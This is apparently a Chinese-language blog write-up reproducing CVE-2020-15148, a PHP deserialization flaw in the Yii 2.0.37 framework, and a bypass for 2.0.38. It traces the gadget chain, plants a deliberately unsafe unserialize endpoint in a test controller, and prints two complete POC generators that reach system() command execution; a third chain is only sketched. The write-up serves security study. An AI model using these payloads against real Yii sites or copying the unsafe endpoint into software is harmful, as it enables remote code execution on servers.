Yii-2.0.37-反序列漏洞

前言

继续学习PHP代码审计,PHP反序列化是很常见的PHP漏洞,这里复现一下。

第一次复现Yii框架

看看框架的目录

DIRECTORY STRUCTURE

-------------------

				assets/            contains assets definition

​      commands/           contains console commands (controllers)

​      config/             contains application configurations

​      controllers/        contains Web controller classes

​      mail/               contains view files for e-mails

​      models/             contains model classes

​      runtime/            contains files generated during runtime

​      tests/              contains various tests for the basic application

​      vendor/             contains dependent 3rd-party packages

​      views/              contains view files for the Web application

​      web/                contains the entry script and Web resources

环境搭建

直接github下载

https://github.com/yiisoft/yii2/releases/tag/2.0.37

记得修改 /config/web.php文件17行cookieValidationKey的值,即可

本地搭建成功

image-20211128175154060

CVE-2020-15148复现

分析

反序列化漏洞,先找入口,

image-20211128222903514

BatchQueryResult类中,调用了reset,跟进

image-20211128223028048

reset()中没有可利用的函数了。。

image-20211128224726659

学习大佬思路:这里的_dataReader是可控的,那么调用了close的方法,是不是可以想办法触发__call呢?

image-20211128224900384

全局搜索 __call,在 Generator下,找到了可以利用的__call

image-20211128225012835

跟进format,发现 危险函数

继续跟进,查看是否可控

image-20211128225212529

发现这里

注意:因为前面close是无参方法,所以__call中的$method是close,attributes为空,然后传参给format方法

image-20211128225613963

Generator下,发现了 formatters是可控的。所以第一个参数式可控的,第二个参数式空,所以相当于我们现在能干两件事:

  • 1.可以执行无参数的系统命令。比如phpinfo,scandir()等。
  • 2.调用yii2中任意的一个无参方法。

那就找可以rce的方法 (无参数方法哦

参考大佬的正则

function \w*\(\)\n? *\{(.*\n)+ *call_user_func

image-20211128230252580

找到了run()函数,可以调用危险函数。

checkAccessid都可控,直接利用即可

构造poc

利用链

class BatchQueryResult  ->__destruct()
↓↓↓
class BatchQueryResult  ->reset()
↓↓↓
class Generator  ->__call()
↓↓↓
class Generator  ->format()
↓↓↓
class Generator  ->getFormatter()
↓↓↓
class IndexAction  ->run()

在Controller中先写入反序列入口

<?php
namespace app\controllers;
 
class TestController extends \yii\web\Controller
{
	public function actionTest($data){
		return unserialize(base64_decode($data));
	}
}

调用类的位置

vendor/yiisoft/yii2/db/BatchQueryResult.php:
vendor/fzaninotto/faker/src/Faker/Generator.php
vendor/yiisoft/yii2/rest/CreatAction.php

poc:

<?php
	namespace yii\rest{
		class IndexAction {
			public $checkAccess;
			public $id;
			public function __construct() {//__construct少了个’s',哭了。。怪不得有问题
				$this->checkAccess= 'system';
				$this->id='dir';
			}
		}
	}
	namespace Faker{
		use yii\rest\IndexAction;
		class Generator{
			protected  $formatters;//这里是protected,写成public
			public function __construct() {
				$this->formatters['close'] = [new IndexAction(),'run'];//这里是要调用该类的run方法,而不是该类
			}
		}
	}
	
	namespace yii\db{//这里是yii,不是yii2,shader
		use Faker\Generator;
		class BatchQueryResult {
			private $_dataReader; //这里是private类型
			public function __construct() {
				$this->_dataReader=new  Generator;
			}
			
		}
	}
	namespace {
		//use yii2\db\BatchQueryResult;//这里忘记了
		echo base64_encode(serialize(new yii\db\BatchQueryResult));
	}
?>

image-20211129000251196

回显成功

Yii-2.0.37反序列复现--寻找close方法

Yii-2.0.38反序列复现--入口修改

在2.0.38中为了防止反序列化

image-20211201103333189

加入 __wakeup函数,当使用BatchQueryResult`反序列化时,会拋出错误

image-20211201103316496

参考审计新思路,其实,新版只是限制了反序列的入口,但是后面的链子__call仍然可以利用,打开思路,只需要找到新的入口,即可继续利用

入口条件:

  • 属性可控
  • 属性调用方法

destruct找到了入口,这里process参数可控,可以调用 __call

路径

Yii/vendor/codeception/codeception/ext/RunProcess.php

image-20211201104106260

构造poc,修改2.0.37的入口即可

<?php
	namespace yii\rest{
		class IndexAction {
			public $checkAccess;
			public $id;
			public function __construct() {//__construct少了个’s',哭了。。怪不得有问题
				$this->checkAccess= 'system';
				$this->id='dir';
			}
		}
	}
	namespace Faker{
		use yii\rest\IndexAction;
		class Generator{
			protected  $formatters;//这里是protected,写成public
			public function __construct() {
				$this->formatters['close'] = [new IndexAction(),'run'];//这里是要调用该类的run方法,而不是该类
			}
		}
	}
	
	namespace Codeception\Extension{//命名空间要和源码中的相同
		use Faker\Generator;
		class RunProcess {
			private $processes=[]; //这里是private类型
			public function __construct() {
				$this->processes[]=new  Generator();
			}
			
		}
	}
	namespace {
		//use yii2\db\BatchQueryResult;//这里忘记了
		echo base64_encode(serialize(new Codeception\Extension\RunProcess));
	}
?>

利用成功

image-20211201105253510

新思路--使用__ToString跳转

入口仍然是 __destrucat

位置

Yii/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php

image-20211201105835041

跟进 clearAll

image-20211201110002565

发现这里用字符串的拼接,参数都可控,想到调用 __toString方法,全局查查

image-20211201110612889

找到了7个含有相同 toSring方法的文件

通过$this->description->render(),继续调用 __call,利用即可

构造poc

a'a

利用成功

参考

https://ego00.blog.csdn.net/article/details/113824239

https://blog.csdn.net/qq_46918279/article/details/120473172

posted @ 2022-02-06 17:31  kzd的前沿思考  阅读(176)  评论(0编辑  收藏  举报